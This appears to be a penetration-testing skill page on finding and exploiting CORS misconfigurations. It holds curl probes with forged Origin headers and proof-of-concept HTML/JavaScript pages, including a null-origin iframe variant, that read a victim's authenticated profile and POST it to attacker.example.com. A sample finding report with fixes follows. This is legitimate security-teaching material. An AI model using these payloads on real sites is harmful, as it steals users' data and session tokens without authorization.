with one click
testing-cors-misconfiguration
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
Menu
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
| name | testing-cors-misconfiguration |
| description | Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","cors","web-security","owasp","same-origin-policy","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
| mitre_attack | ["T1190","T1059.007","T1505.003","T1083","T1003"] |
Check all API endpoints for CORS response headers.
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
Determine how the server validates the Origin header.
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
Assess how the server handles OPTIONS preflight requests.
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy change
Build an HTML page that exploits the CORS misconfiguration to steal data.
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>
If Origin: null is allowed, exploit via sandboxed iframes.
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->
Check if CORS allows access from internal origins that could be leveraged via XSS.
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# If internal origins are allowed and have XSS:
# 1. Find XSS on http://subdomain.target.example.com
# 2. Use XSS to make CORS request to api.target.example.com
# 3. Exfiltrate data via the XSS + CORS chain
| Concept | Description |
|---|---|
| Same-Origin Policy | Browser security model preventing scripts from one origin accessing data from another |
| CORS | Mechanism allowing servers to specify which origins can access their resources |
| Origin Reflection | Server mirrors the request Origin header in the ACAO response header (dangerous) |
| Null Origin | Special origin value from sandboxed iframes, data URIs, and redirects |
| Preflight Request | OPTIONS request sent before certain cross-origin requests to check permissions |
| Credentialed Requests | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |
| Wildcard CORS | Access-Control-Allow-Origin: * allows any origin but prohibits credentials |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting requests and modifying Origin headers |
| CORScanner | Automated CORS misconfiguration scanner (pip install corscanner) |
| cors-scanner | Node.js-based CORS testing tool |
| Browser DevTools | Monitoring CORS errors and network requests in real browser context |
| Python http.server | Hosting CORS exploit PoC pages |
| OWASP ZAP | Automated CORS misconfiguration detection |
The API reflects any Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true. Any website can read authenticated API responses, stealing user data.
The server allows Origin: null with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
The CORS policy allows *.target.example.com. An attacker finds XSS on forum.target.example.com and uses it to make cross-origin requests to api.target.example.com, stealing user data through the trusted subdomain.
The server uses regex target\.example\.com to validate origins, but fails to anchor the regex. attackertarget.example.com matches and is allowed access.
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.